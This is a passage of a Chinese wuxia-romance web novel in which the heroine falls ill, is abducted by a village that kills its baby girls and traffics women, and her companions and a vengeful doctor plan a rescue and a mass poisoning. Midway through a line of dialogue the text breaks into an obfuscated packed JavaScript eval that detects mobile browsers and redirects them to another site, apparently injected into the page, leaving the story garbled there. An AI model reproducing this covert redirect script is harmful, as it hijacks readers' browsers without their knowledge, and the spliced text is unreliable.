厉欢颜愣住了,细想了一阵后,眼眸里终于有了些光彩:“你说得对,我都没有正式跟江师兄道歉,何谈要他主动原谅我?” 厉欢颜喝完碗里剩余的酒,便兴冲冲起身道:“我这就去找他说清楚,谢谢你的开解,等我好消息吧!” 闻梨也跟着起身,有点担心厉欢颜现在的状态,“要不还是等酒醒了再去?” 厉欢颜坚持要现在去,她怕自己酒醒后,反而没勇气去见江亦。 闻梨目送着厉欢颜离开,心想应该出不了什么事,便坐回火堆旁,一边吃肉,一边等着厉欢颜回来。 她的视线渐渐挪到酒坛,刚才猛地喝了一口,没尝出什么味道,为何世人都对酒那么痴迷,想来是有它的妙处。 闻梨又给自己倒了一碗,浅浅尝了几口,倒是品出几分韵味,酒入喉虽辣,但身上却热乎乎,在这初秋的夜晚里,舒适得很。 另一边,徐渺泡完药浴,见闻梨还没回到住处,于是拎着一盏油灯寻了过来,当他推开院门,却瞧见这样一幕: 少女怀里抱着酒壶,坐在柴堆高处赏月亮,微风吹动她的裙摆,听到门响声,少女蓦然回头,醉醺醺的眼眸直勾勾盯着他看,眼神异常明亮,彷佛比她身后的星辰还要璀璨几分。 “你怎么才来呀?我都等你好久了。”她的声音黏糊柔软,语调里透着几分嗔怨。 徐渺抱着剑靠在门边,脸上笑意温软:“你怎么爬上去的?喝醉了还下得来吗?” 闻梨醉眼迷离,歪着脑袋瞧他,伸出两根手指晃了晃,一脸困惑道:“怎么左边有个你,右边还有个你?” 徐渺见她醉得厉害,无奈笑了笑,本想跃上柴堆扶她下来,没等他靠近,却见闻梨忽而起身,竟直接跳下柴堆,朝自己扑来。 徐渺只好改变落脚点,一把将人抱进怀里,平稳落地后,他欲松手放她下来,可她却紧紧搂紧他的肩膀不放。 望着心安理得趴在自己怀里的某人,徐渺拿她没辙,只好抱着她朝外边走去,“你喝醉了,我送你回去睡觉。” 闻梨虽闭着眼,神智尚有几分清醒,她现在懂了,难怪厉姑娘要借着酒劲去找江亦,原来酒壮怂人胆这句话是真的,唯有喝醉,她才敢赖在徐渺肩上,装作糊涂,说些平常不敢说的话。 “你那天曾说,我去哪里,你就去哪里,这话是什么意思?” 徐渺脚步微顿,犹豫了一会儿,选择避而不答:“你认为是什么意思?” 闻梨毫无防备道:“你是不是对我有所图谋?” 溶溶月光照在少年僵硬的脊背上,他的乌睫颤了颤,垂眸观察怀中人的反应,提着油灯的手指攥得发白。 他稳住心神,若无其事开口:“何来此言?” 29. 第二十九章 徐渺没能等来闻梨的回答,耳边响起她均匀的呼吸声,似乎是睡着了,过了一会儿,他听到她做梦时的呢喃细语。 “我有钱,有很多很多的钱。” “你不要走,留下陪我。” “以后我还要开酒坊,赚更多的钱养你。” 徐渺听罢此言,步伐不自觉变得松快,唇畔扬起一抹意味深长的笑,慢条斯理回应着她的呓语:“我不图财,却也没那么容易被满足。” * 第二天,闻梨睡到正午才醒,宿醉后脑袋昏沉沉的,她坐在床上想了很久,没记起自己昨晚是怎么回来的。 依稀记得后来还遇见了徐渺,她应该没有耍酒疯,对他做了什么不可挽回的事吧? 砰砰砰,房门被人敲响,打断了闻梨的思绪。 开门一瞧,厉欢颜顶着一双乌青的眼眸站在门外,脸上还带着宿醉后的疲惫,神情抑郁,像是有什么话想说。 闻梨让她进屋再说,刚一进门,厉欢颜便歪靠在床上,一脸生无可恋道:“我好像闯祸了。” 闻梨正要擦脸,听了厉欢颜的话,巾帕差点从手中滑走。 厉欢颜颓丧道:“我昨晚去找江师兄,想好好道个歉,但是他连门都不让我进,众弟子都在外边看着,我哪里好意思说那些话,一着急就点了他的穴道,然后闯进他的房间,把门关紧。” “然后呢?” 厉欢颜欲哭无泪:“我好像做了件丧心病狂的事,看着他的唇那么软,那么翘,我真是被猪油蒙了心,没忍住亲上去,我自己脑子也晕,完全不记得后面发生什么事,醒来的时候,我发现自己躺在江师兄床上,但是江师兄不见了,我都不敢去问我爹江师兄的下落。” 闻梨被惊得说不出话,半晌才道:“是我的错,我昨晚真该劝住你。” 厉欢颜从床上跳起来,呜呜道:“我没脸待在药师谷了,我要月华山庄了,你多保重。” 此时外间又有人敲门,闻梨过去开门,这回来人是徐渺,她掩上房门道:“阿渺稍等,我这边有点事,晚一点过去找你。” 徐渺摇摇头,神色有些复杂,示意闻梨往那边看,闻梨这才注意到他身后还站着一个人,她暗道不妙,忙站出来作揖道:“不知陶医圣来此有何要事?” 陶医圣微微颔首:“姑娘不必多礼,我家欢颜可否在你房中?” 闻梨点头,不自觉在心底为厉欢颜捏把汗。 陶医圣隔着门朝里面的人朗声喊道:“欢颜,别再闹脾气了,你娘已经为你订了桩婚事,派了人来接你回去成亲。” 一听此话,厉欢颜藏不住了,急忙开门出来,疑惑道:“她真给我订亲了?订了谁家?” 陶医圣:“铜雀阁的二公子。” 厉欢颜一脸不可置信:“那个坐轮椅的病秧子?就他那副身体能生孩子吗?” 陶医圣脸色微僵,冷咳了一声:“不可胡言乱语,为父过几日便会去替二公子诊治,你也收拾收拾,准备回月华山庄成亲。” 陶医圣说罢,也不管厉欢颜答不答应,扭头和颜悦色朝闻梨与徐渺说道:“我离开药师谷后,这边的守卫也会跟去,二位还是早日离谷比较好,后山有一条密道,能避开暗夜阁的探子。” 闻梨与徐渺齐齐朝陶医圣道谢。 陶医圣走后,厉欢颜僵坐在地,满脸一副生不如死的悲凉之态,无望道:“我娘生气了,要把我嫁给一个病秧子。” 闻梨过去扶起她,“这婚事没有转圜的余地吗?” “我娘向来说一不二,不,我绝不能回去。”厉欢颜忽而抱住闻梨,“我跟你们一起逃吧?” 闻梨犹豫了,起初她还羡慕厉欢颜来着,没想到连月华山庄大小姐也摆脱不了长辈安排的婚事,于私心而言,她想帮厉欢颜,但是自己已经被暗夜阁盯上,再惹怒一个江湖门派,这路上怕是不好走。 “你当真要跟我们走?” 厉欢颜:“你们要上哪去?要是一路往北走,我就跟你们同行一段路,下月洛城有个武林大会,我早就想去见见世面,再说你家护卫武功没有恢复,有我在,还能保护你,反正即便不跟你们走,我也是要跑的。” 闻梨想了想,只好答应,徐渺见状,也没再多说什么,三人各自回去收拾行李,一个时辰后,三人避开暗夜阁的眼线,天黑前顺利下了山。 为了躲避暗夜阁与月华山庄的追踪,三人时常乔装打扮,有时候扮庄户人家,有时候扮江湖剑客,闻梨还特意买了把佩剑,跟厉欢颜学了几招,徐渺对此评论:虽然都是些花架子,唬唬人还是不错的。 厉欢颜听了,心中很不服气,趁着徐渺的武功还没全部恢复,逼着他切磋武艺,每当这个时候,闻梨会拿出她宝贵的佩剑来切西瓜吃,一边慢悠悠坐在路边欣赏风景,等着二人分出胜负。 这样悠闲轻松的日子,几乎让她忘掉皇宫,忘掉了玉京,以及玉京城里的那个人,她忽然发现,自己已经许久没做那样的噩梦了。 日子一晃,过了半月,天气逐渐转凉,秋天的山林愈发荒芜萧条,这日三人赶了一天的路,始终没找到可以借宿的地方,便只能在野外将就一晚。 夜里冷风刺骨,厉欢颜睡得熟,无意间抢走了被子,闻梨冻醒了好几次,后半夜浑身滚烫,竟发起了高烧,此时厉欢颜正梦见自己抱着暖炉,向娘亲大人讨饶。 直到第二天清晨,闻梨已经烧得神志不清,开始胡言乱语,吵醒了外边的徐渺,徐渺隔着车窗把厉欢颜叫醒,厉欢颜这才惊觉闻梨额头烧得厉害。 厉欢颜快速穿好外衣,便放徐渺进来查看情况,这还是厉欢颜头一次见徐渺发怒的模样,尽管他没有在言语上谴责她,但那副冷冰冰的神情,还是让厉欢颜感觉跟之前的他简直判若两人。 男人变起脸来果然很可怕。 “你来赶车,我进去照顾她。”徐渺拎着湿帕子冷冷说道。 身为月华山庄的大小姐哪里被人这般使唤过,虽然心里很不爽,但看在闻梨生病的份上,厉欢颜老实让出位置,坐到外边去赶车。 好在行了半日路后,便遇到个小村镇,厉欢颜跟徐渺说了一声,拽着缰绳,打算把马车驶进村口,却在这时,一个蓬头垢面的疯女人不知从何处冒出来,突然挡在马车前,幸而马车速度不快,才没有撞到人。 “你没长眼呐!”厉欢颜伸长脖子骂了一句,却见对方撒泼似的往地上一躺,还捡路边的牛粪吃,厉欢颜一阵恶寒,浑身像起疹子那般痒。 “怎么了?”徐渺探出头来,正好也瞧见这一幕,他蹙了下眉头,朝厉欢颜说道:“我带她去村里找大夫,你在这里看着马车。” 徐渺说罢,不给厉欢颜拒绝的机会,便把闻梨抱出马车,快步往村里走去,只留下厉欢颜与面前的疯女人大眼瞪小眼。 厉欢颜调转马头,百无聊赖守在马车边,时不时瞅一眼地上的疯女人,这时候,路边迎面走来好几个庄稼汉,一瞧见厉欢颜,眼神直勾勾地盯着她,丝毫不掩饰内心邪恶的欲念,看得厉欢颜浑身不自在。 有个面目极猥琐的男子,似乎智力上有些缺陷,到了车边被同伙挑唆,竟想伸手去摸厉欢颜的手。 厉欢颜立刻沉下脸色,没等她拔出剑狠狠教训这登徒子,身后忽而站出个蓝袍道士,将那痴汉的手、以及邪恶的目光通通挡住。 “诸位见谅,这位姑娘是我的朋友,还请莫要与她为难。”蓝袍道士笑着说。 这几个庄稼汉似乎对那道士十分恭敬,不敢再打厉欢颜的主意,各自扛起锄头悻悻走了。 厉欢颜心存警惕,并不感激陌生男子的解围之举,反而拔出剑架在那道士颈间,质问道:“谁是你的朋友?胡乱攀扯关系想做什么?” 蓝袍道士背影僵住,缓缓回头,脸上笑意减半:“原来姑娘是练家子,是在下多管闲事了。” 蓝袍道士身边跟着的小道童气呼呼骂道:“我师父好心好意救你,你这人怎的如此不识好歹!” 小道童看起来才七八岁左右,丝毫不怯生,厉欢颜冷哼一声,吓唬道:“要不是你师父碍手碍脚,我已经把那登徒子手砍掉,眼珠挖掉。” 那小道童果然变了脸色,转过脸去,不再跟厉欢颜说话,厉欢颜也 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徐渺就近敲响一户房门,想问个路,半晌不见有人开门,一连敲了几户皆是如此,他隐约听到门里有悉悉索索的声音,像是铁链在地面拖动,很快又消失了。 “什么人在那里?”村里迎面走来两个络腮胡汉子,自称是村里的卫兵,强势拦住了徐渺的去路。 徐渺解释说想找个郎中,话还没说完,不料那卫兵不耐烦挥手,让徐渺哪里来的回哪去,村子里没有郎中。 另一个卫兵瞅了眼徐渺怀里抱着的人,只见那女子肤凝如雪,颇具姿色,便拽了拽同伴的胳膊,改主意道:“有有有,直走右拐,山溪旁有间草屋,那里住着位郎中。” 待徐渺走远,窥见闻梨容貌的卫兵还没回过味来,砸吧着嘴道:“真真是个妙人,可惜轮不到我。” 另一个卫兵:“当真?我倒是没看见,不过那男子腰间佩剑,怕是不太好下手。” “管这些作甚?下了药,再强的人不都得折在我们手里?我们先回去禀告族长。” 徐渺来到卫兵所说的山溪旁,果然瞧见一间草屋,草屋用篱笆围起,屋前还晒着不少草药,的确住的是郎中。 待徐渺走近草屋,郎中恰好从屋内出来,在瞧见有陌生人来访的刹那间,郎中脚步微顿,神色明显闪过一抹惊异,很快又恢复正常。 “有什么事吗?” 徐渺说明来意,郎中犹豫片刻,点了点头,让徐渺把闻梨放到树下的木榻上,替她诊了诊脉,道:“是感染了风寒,开几副药吃下去就能好了。” 徐渺的心稍稍安定,又问郎中能否借个灶房熬药,郎中同意了,道谢后,徐渺将药炉搬来院中,一边守着闻梨,一边煎药。 徐渺始终对村子的异常感到好奇,借机询问起郎中,但那郎中话极少,只说了不知,便背起药篓,欲往院外走去。 临走前,郎中忽然回头,冷淡说了一句:“天黑前就出村,这地方闹鬼,不利于病人养病。” 昏昏沉沉间,闻梨被扶起来喝药,温热的药汁润过肺腑,她精神了许多,疲乏睁眼,少年清晰凌厉的下颌映入她的眼帘。 意识到自己正躺在对方怀里,闻梨的脸色愈发绯红。 徐渺却觉得疑惑,明明郎中说吃完药就会退烧,为何她的脸色还是如此红晕?手心抚上她的额间,发现已经没早上那般烫了。 被他冰凉的手掌触碰后,闻梨身躯一颤,睁着朦胧的杏眸,神色不太自然道:“我好多了,这是哪里?欢颜人呢?” 徐渺起身拎起药包,“此地不宜久待,我们先出村再说。” 闻梨应了声好,试着起身,不料眼前忽而投来阴翳,将她笼罩住,随后被一双结实的胳膊抱起,鼻尖萦绕着少年身上幽若的冷香,她的心跳愈发加快。 脑子里不适宜地蹦出几句话: 你不要走,留下来陪我,我会赚很多钱养你。 闻梨不自觉揪紧少年的衣襟,完了,她早就摊牌了,那么他的回答是什么呢? 30. 第三十章 “怎么了?”徐渺低头询问。 闻梨连忙松手,现在清醒着,她哪还有勇气问出口,只摇了摇头,道了句没事。 二人在天黑前出了村子,在马车旁苦苦等待的厉欢颜,瞧见二人身影时,心中终于松口气,迅速驾车,只想尽快远离这个诡异的地方。 “你们是不知道,那道士走后,我瞧见村里人抬着个长木匣,往深山里走了,还带着一些牛羊,瞧着像是去祭祀的。” 出村时,闻梨是醒着的,自然也瞧见了村子里的一些异况,听厉欢颜提到女鬼,心底腾起一股怪异之感:“除了那个疯女人,你们可有见到别的女子或者老媪?” 厉欢颜默然,隔了半晌才道:“没有,我甚至连个女童都未曾瞧见。” 三人一路无话。 闻梨的寒疾未痊愈,不宜在夜里赶路,三人路过一间荒废的城隍庙,打算在此暂住一晚。 废庙外面虽破败,内里还算宽敞,墙垣厚实能挡寒风,三人简单拾掇一下,徐渺从马车里搬来席子和被褥,安置闻梨躺下歇息。 厉欢颜出门找柴生火,当火光窜起,照亮这一方小天地,三人心里和身上的寒意稍稍被驱散了些,围在火堆旁烤地瓜吃。 刚把软糯香甜的烤地瓜吃进嘴里,厉欢颜忽然停住,脸上浮现一抹惕厉,抬头与徐渺对视一眼,两人从对方眼中读出了相同的意思。 门外有人在鬼鬼祟祟靠近,来人不止一个。 徐渺蓦然起身,护在闻梨身边,厉欢颜也拔出剑,身形如魅掠去门边,只待来人靠近便将其拿下。 闻梨忙不迭捡起他二人的烤地瓜,仔细收着,万一等会打不过,路上逃跑也需要补充体力。 在来人靠近的瞬间,厉欢颜破门而出,不费三两下功夫,便擒住了对方。 “哥!” “姑娘饶命!” “怎么是你?” 厉欢颜瞪着滑跪在自己面前的蓝袍道士,手中的剑紧了三分,“你这臭道士,鬼鬼祟祟跟着我做什么?” 蓝袍道士战战兢兢把厉欢颜的剑往外挪开,脸上赔笑:“姑娘误会了,我带着徒儿路过此处,见庙宇内火光闪烁,以为有菩萨显灵,特来拜一拜。” 闻梨听着,不由得扑哧一笑,悄悄从徐渺身后探出头,打量着门外的蓝袍道士。 “既是来拜菩萨,怎的行为如此鬼祟?”厉欢颜的目光在蓝袍道士和他身后的小道童身上来回巡梭,“我方才听见了,你徒儿可叫了你一声哥,你二人究竟是何关系?” 说罢,厉欢颜将剑尖抵近了几寸。 小道童见状急了,跑上前来,猛地抱住厉欢颜胳膊,一把鼻涕一把泪,哭得悲壮:“求姐姐莫要伤害我哥哥,我跟哥哥从小相依为命,为了讨生活我只能扮成哥哥的徒弟,不然会被当作拖油瓶。” 厉欢颜被这小道童的哭声感染,心当即软了三分,再说本来也没打算杀人,只是想吓唬一下,便收起剑:“罢了,你们走吧,倘若再敢跟踪我,决不轻饶!” 蓝袍道士施施然起身,云淡风轻牵着小道童离去,好似方才跪地求饶的不是他。 厉欢颜愣在原地,一合计觉得哪里不对劲,自己是不是被那小道童给骗了?刚想追上去理论,却被闻梨拦住,“吃烤地瓜吗?还热乎着呢。” 庙外寒风冷飕飕吹过,淅淅沥沥下起雨来,闻梨朝外看了一眼,心中寻思着那两个人会在哪里过夜,过了会儿,忽见厉欢颜站起身,说要出去一趟。 闻梨眸光微动,轻抿起唇角,火光照在她白瓷如玉脸庞,有种静谧而温婉的淡然感,她的目光随着厉欢颜走远的背影落去,回眸时不期撞上身旁那双温澈纯粹的眼眸,心口猛跳了一下。 她怔住:“我脸上有什么东西?” 徐渺失神片刻,若无其事撇开目光,“我见你笑得开心,不知你在想什么好玩的。” 闻梨明白了,指指门外道:“当然是欢颜呀,明明也很担心那两个人,脸上还装作不在意,其实她的心肠最是和软。” 徐渺恍然:“原来如此。” 气氛一时沉寂下来,自从厉欢颜加入,闻梨与徐渺基本没再独处过,此刻她的心里居然有点紧张,余光瞥见他那骨节分明的手动了动,拾起一截木柴,添进火堆。 没过多久,厉欢颜带着蓝袍道士和小道童回到破庙中,“先说好,我是看你们可怜,没地方过夜才带你们过来,可不许耍什么花招。” “姑娘真当菩萨心肠。”蓝袍道士迈过门槛,不动声色打量了火堆旁的二人。 小道童一进门,便闻到清甜的烤地瓜香味,肚子不争气地咕咕了两声,不时拿眼瞅向火堆边的烤地瓜,小脸上带着几分饥渴和怯意。 闻梨见状,便拿起两个烤地瓜,示意小道童来拿,小道童目露欣喜,抬腿过来前,先望向自己的哥哥,得到哥哥的许可,才赶忙接过烤地瓜,分给哥哥一个。 蓝袍道士推说自己不饿,全让给了小道童吃。 厉欢颜心里还惦记着白天的事,待那蓝袍道士靠墙而坐,便好奇问道:“你今天说村子里有人装神弄鬼,究竟是怎么一回事?” 蓝袍道士先是故作神秘一问:“几位今天也进过村庄,可发现村中并无女人?” 见几人面色诧然,却又无意外之色,蓝袍道士继续道:“此村唤作寿阳村,自百年前便有个传统,视女婴的降生为不详,但凡村中谁家生下女婴,都要送去后山祭祀山神。” 闻梨与厉欢颜皆是脸色一变,厉欢颜倒吸一口凉气:“莫非村里人都同意送自己孩子去祭祀山神?好歹是亲生骨肉,竟如此狠心?” 闻梨奇道:“倘若村里并无女人,那他们如何繁衍后代?这附近的村落,恐怕无人敢嫁过来吧?” 蓝袍道士:“自然有别的法子,或拐或买,亦或者绑走过路的女子。” 厉欢颜震惊:“此事官府不管?” 蓝袍道士摇头:“此地偏僻,知道的人并不多,落进这里的女子,要么被虐待而亡,要么终生困在这里,男人们沆瀣一气,又有谁会去报官,而且据说此地的县令,是村中族长的亲儿子。” 沉默了半晌的徐渺忽而发问,语气中带了点警惕:“道长如何得知此村诸多内情?” 蓝袍道士不慌不忙解释:“村中近来频繁闹鬼,我被他们请来施坛做法。” 厉欢颜睨那道士一眼:“那都是些枉死的冤魂,你还敢做法镇压,也不怕损了功德。” 蓝袍道士笑了笑:“在下道行浅,不过赚点银两谋生,至于镇压冤魂此等累活,还是交给其他人吧。” 从没见过把行骗说得如此清新脱俗的,闻梨觉得这道士有趣:“你不担心被别人拆穿吗?” 蓝袍道士叹声气,瞧了瞧身旁专心啃地瓜的小道童,“自然是担心的,要不然也不会趁夜赶路。” 夜色已深,蓝袍道士带着小道童睡在墙角,厉欢颜在闻梨身边铺了褥子躺下,徐渺一人靠坐在柱子边,闭眼休息。 众人刚歇下没多久,门外又响起一阵悉悉索索的声音,闻梨睁眼,恰好一道长发鬼影忽然从窗边闪过,吓得她头皮发麻,扑进厉欢颜怀里。 “有鬼呀!”闻梨自从被关进冷宫,便得了怕鬼的心病,黑夜中每一处细微的变化,都会被她想象成可怖的怪物,尤其今日才听说了闹鬼的故事。 厉欢颜虽嘴上说着不怕,真遇上怪事,顿觉毛骨悚然,与闻梨抱作一团,口中默念:“菩萨保佑,菩萨保佑!” 相较之下,徐渺的反应倒是极为镇定,回头看了眼二人,便拎着剑去追鬼影。 蓝袍道士当即抱着小道童,靠来闻梨与厉欢颜身旁,从怀里掏出符纸:“二位姑娘莫慌,我这里有上等辟邪咒符,可驱邪除祟,保佑平安。” 厉欢颜颤抖着手来拿:“多谢道长。” 蓝袍道士却将手腕一转,笑嘻嘻道:“三两银子一张,二位想要几张?” 闻梨彷佛那溺水之人抓到了浮木,刚想说‘三张’。 厉欢颜:“……”此刻对鬼的恐惧,已经超过对这道士趁火打劫的无耻行径的愤怒,一拳打了过去。 蓝袍道士吃痛叫出声,要不是躲得快,恐要再挨上一拳,凑对整齐的熊猫眼,他四处躲避,她奋起直追,丝毫没察觉到屋内多了两个人。 徐渺没追上可疑的黑影,折身回来,正见蓝袍道士鼻青脸肿夺门而出,躲在徐渺后身大喊: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370996|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “少侠救命!” 徐渺拦住二人:“怎么回事?” 厉欢颜气道:“这道士一张符咒居然卖三两银子,刚才好心让他们进来躲雨,竟敢趁火打劫。” 蓝袍道士辩驳:“冤枉啊,我又没有强买强卖,嫌贵还可以讲讲价嘛。” 徐渺颇感无奈,抬腿往庙里走,却见火堆旁空空如也,他顿住脚步,急切环视整间庙堂,不见闻梨身影。 “她人呢?” 厉欢颜目瞪口呆,刚才闻梨明明就待在火边,怎么眨眼功夫就不见了?没瞧见她出去啊。 蓝袍道士满脸慌张:“我妹妹也不见了!” 徐渺攥紧剑柄,往残破的佛像后走去,果然见墙上有个洞,洞口大小足以容成年男子钻过,他此时方才明白,原来刚才那是调虎离山之计。 * 闻梨被人扛在肩头,还蒙住了眼,看不清自己被何人捆着,也不知将会被掳向何地。 首先浮在她脑海的念头,是谢陵追来了,很快又觉得不对,倘若真是谢陵,为何要连那小道童一起绑走? “呜呜呜,你们放我下来!”小道童挣扎一路,嗓子喊哑了,力气也耗尽了,最后只呜呜地哭着。 当遮眼的黑布被人拿掉时,闻梨这才看清绑架自己的人是两个粗衣男子,皮肤黝黑,手掌糙砺,像是常年在田间劳作的农户。 环顾四周,朱梁漆柱,堂屋高阔,正中央摆满阴森森的灵牌,瞧着像是间祠堂。 庄稼汉放下对自己又踢又咬的小道童,埋怨道:“干嘛叫俺把这孩子也捆来?” 另一人道:“他看见我们的脸,不绑等着他带人来找麻烦?” “现在怎么办?照旧把他扔河里淹死?” “先锁在这里,等族长发落。” 庄稼汉转头看向一声不吭的闻梨,目露精光,想伸手摸一摸她那白净细嫩的面皮,被另一个人拦下,提醒道: “安分点!别忘了自己的身份,这等货色肯定是要献到县爷府上的,万一让县老爷知道被你轻薄过,不砍了你的手脚才怪!” 庄稼汉只能悻悻作罢,再次确认绳子是否捆紧,心不甘情不愿锁门走了。 四周刹时陷入沉寂,天边已亮起一道曙光,透过窗户照进祠堂,映在小道童凄然的小脸上,闻梨见了,有些于心不忍,小道童毕竟是因为她的缘故才被绑来的。 “你叫什么名字?” 许是这阴沉沉的祠堂太过吓人,在听到身旁传来的轻柔嗓音时,小道童惊怕惶恐的心情稍稍有所缓解,弱弱吐出几个字。 “我叫小婉。” 闻梨微愣,继续问小道童名字怎么写,在得到答案后,闻梨面露一丝诧异:“原来你是个女孩,你的双亲可还在?” 小道童摇摇头:“我是遗腹子,我刚出生那晚,娘也死了,只有一个哥哥相依为命,为了不拖哥哥后腿,平常都要扮成男孩。姐姐你呢?你家里人会来救你吗?” 闻梨沉默片刻,笑道:“我没有家人,不过我有两个好友,武艺超绝,肯定会来救我们,在此之前,我们先试着解开绳子,想办法给他们传个消息。” 小道童眼中燃起希望:“好!” * “我们直接去村子里要人!不给就屠村,反正都不是什么好人,杀了也干净。” “姑奶奶,能不能动动脑子,没等我们杀进村门口,人就被转移了,万一打草惊蛇,激怒对面,杀人泄愤怎么办?” 厉欢颜与蓝袍道士谁也说服不料谁,僵持之际,二人齐齐看向双手环胸,倚靠在门边沉默不语的徐渺。 “徐护卫,你一点也不担心阿梨吗?” “少侠倒是拿个主意呀!” 徐渺神情冷郁,恍若未闻,只扔下一句话,说要出去一趟,让二人暂且在这里等他,便头也不回地走进了晨雾之中。 事到如今,他不得不动用暗中跟随的部下,自离开白云城后,高鹤陆续调来北齐的暗卫,一路随行着他,不到万不得已,便不会出手。 这次少不了要与本地官府打交道,一旦被京都那人察觉,那么自己的身份便会曝光在那人眼皮子底下,犹豫了一阵,徐渺放飞手中的信鸽。 31. 第三十一章 寿阳村后山林,一男一女立在山庙前,男子背着药篓,女子披头散发,浑身脏兮兮,二人压低声音,似乎正商量着什么。 “范郎中,毒药可做好了?惜娘那边传话说,说今晚喜宴的酒由她准备,我们可以把药下在酒里。” 范郎中思索片刻,道:“此举不够稳妥,许娘子还不是肯答应配合我们?” 女子冷道:“许娘子舍不下她儿子,不愿意跟我们一起逃,我就没告诉她我们的计划。” 范郎中道:“既如此,找机会给她下这包泻药,让帮厨的何娘子伺机往众人的饭食也下毒药。” “好!”女子接过范郎中递来的药篓,里面全是大大小小的药包。 范郎中苦心筹谋两年,今晚便是复仇的最好时机,他迈着沉重的步伐,欲离去之时被人叫住。 经过半年多的相处,女子早就对范郎中深信不疑,这个男人在她走投无路之时出现,给了她一包砒霜,毒死一直虐待她的丈夫和家公。 为了帮助范郎中,她装疯卖傻,留在村里暗中联合各家跟她一样命苦的可怜人,只是一直没机会问关于范郎中的来历,世事难料,也许今夜过后,她便没机会问出口。 “从没问过先生,为何愿意担此风险救我们于水火之中?” 范郎中缓缓回头,眼圈发红,悲痛欲绝道:“我有一发妻,已怀有身孕,却被人拐来这里,惨遭折磨而死,我要让整个村子的男人,给我妻女陪葬。” 女子震惊得说不出话,想起半年前,村子里确实绑来一个有身孕的女郎,听说那女郎倔得很,被打被骂也不肯服软,后来生下一个女儿,女郎最后抱着女儿,投井而亡。 * 范郎中回到院落,为了不引起别人怀疑,假装翻晒药材,忽而被人一把拽进草屋,他惊恐地看着出现在自己家中的三人,一时没反应过来:“你们……” 徐渺从暗处走来,“不知阁下是否还记得我?” 范郎中仔细回忆:“你是昨日前来找我给人看病的那位?” 徐渺见他认出,便开门见山道:“昨天与我同行的那位姑娘失踪了,阁下昨日曾提醒过我,要尽快出村,是不是这村中有什么猫腻?” 范郎中叹声气:“不错,这村子已经绑了不少过路的姑娘,强娶作他们的堂下妇,你那位同伴恐怕就是落进他们手里。” 一旁的厉欢颜急声问道:“他们具体是哪些人?” 范郎中轻瞥了眼厉欢颜:“整个村子里的男人,自然是以族长一家为首。” 蓝袍道士试探问:“听先生的口音,不是本村人吧?” 范郎中答道:“不是。” 徐渺上前一步,恳求道:“我们在村里行走多有不便,还请阁下帮我们掩护一二,尽快救出那位姑娘,事成后必定重金酬谢。” 范郎中沉默了好一会儿,拒绝道:“恕难从命,今晚族长的小儿子娶亲,我还有要紧事做,几位慢走不送。” 厉欢颜没想到此人的心肠如此冷硬,蓝袍道士则是没想到这人有钱都不赚,怕不是脑袋进水了,拿了钱去城里开间药铺多好? 厉欢颜欲拔剑威胁,但被徐渺拦下,只能眼睁睁望着范郎中扛着药锄出门走远。 厉欢颜怒火中烧,一脚踹翻簸箕里的草药,余光扫过地面的草药,竟有了新发现:“等等!这些不是药材,都是剧毒之物。” 蓝袍道士满眼惊奇:“这你都懂?” 厉欢颜幼时曾认过一段时间的毒草药,治病救人她不会,但下毒研毒勉强算半个行家。 联系此前的事,徐渺终于知道这郎中身上的违和感从何而来,原来郎中不是本地人,却在此研究毒药,恐怕是想对付什么人。 “我们接下来怎么办?那郎中走前说今晚有喜宴,要不我潜进去,给他们下毒?”厉欢颜问道。 蓝袍道士摇头:“难办,我们不是村里人,一靠近肯定会引起他们的戒备。” 徐渺转身,寻了把柴椅坐下,道:“坐下来等吧,等喜宴开始,我们光明正大去要人。” * 祠堂内,闻梨坐在桌前,锲而不舍磨绳子磨了一整天,胳膊举到酸软无力,手腕也被磨出了血痕,才磨断绳子的五分之一不到。 小道童起初也在试着用牙齿咬,没成想绳子纹丝不动,牙齿倒是崩掉了两颗,疼得她哇哇叫。 闻梨安慰她没事,乳牙掉了还会长。 天色逐渐沉下来,祠堂内黑漆漆的,不多时,二人听到门外响起一阵脚步声,还夹杂着锁链拖地的声音,小道童下意识缩在闻梨身边,身子止不住地发抖。 紧接着,有人推门而入,借着外边的灯影,闻梨从其佝偻的身形和缓慢的步履来判断,对方应该是个上了年纪的老媪,一瘸一拐往灵牌的方向走去,随后掏出火折子,点燃了供桌上的烛灯。 烛火照亮四周的刹那间,闻梨和小道童这才看清,来人哪里是个老媪,分明是个年轻的姑娘,像是被人打断了脊椎和腿脚,脸上有明显的淤青和烫伤,手腕和脚踝皆带着锁铐,身上的各种疤痕看起来触目惊心。 眼见对方要走,闻梨忙出声喊住:“这位姑娘,不知哪有净房,我有些内急。” 那姑娘摸着自己的嗓子,啊了两声,表示自己不会说话,又指了指供桌下。 闻梨这会儿看明白了,这姑娘的意思是让她就在祠堂内解决,遂放弃了借如厕打探环境的念头。 临走前,那姑娘深深看了闻梨一眼,随后退出祠堂,锁上了房门。 一开始,闻梨有点捉摸不透,扭头望着供桌上那抹幽暗的烛火,忽然就明白了什么,“小婉,你去门边帮我把风。” 说罢,闻梨便朝着供桌挪去,小婉见状,也赶忙往门边爬去,竖起耳朵听外边的动静。 闻梨撑着桌沿起身,小心翼翼将绑了绳子的手腕伸到火苗上方。 * “诸位今日来参加小儿的婚宴,某不甚感激,还请诸位开怀畅饮,一醉方休。” 老族长话音刚落,席上众人无不起身恭贺,老族长身旁的新郎官一杯接着一杯饮下,觥筹交错间,醉意渐显,丝毫没察觉到身旁多了一个人。 直至寒森森的剑刃搁在了颈间,新郎官方才如梦初醒,吓得大惊失色,险些当场尿裤子,颤声喊道:“爹!救我啊爹!” 场面登时冷下来,众人怒目瞪向挟持了新郎官的陌生男子,有些没喝酒的村民反应快,已经从桌底掏出砍刀围了上去。 还有村民想去搬救兵,到了门边才发现,一男一女守在门边,那女子手中也提着剑,男的像是前几日来过的道长,似乎哪个也惹不起。 “安静!”老族长拍桌让村民们都别轻举妄动,转身看向挟持着自己儿子的人,目光如炬,冷静开口道:“不知几位与犬子结下何怨何仇?” 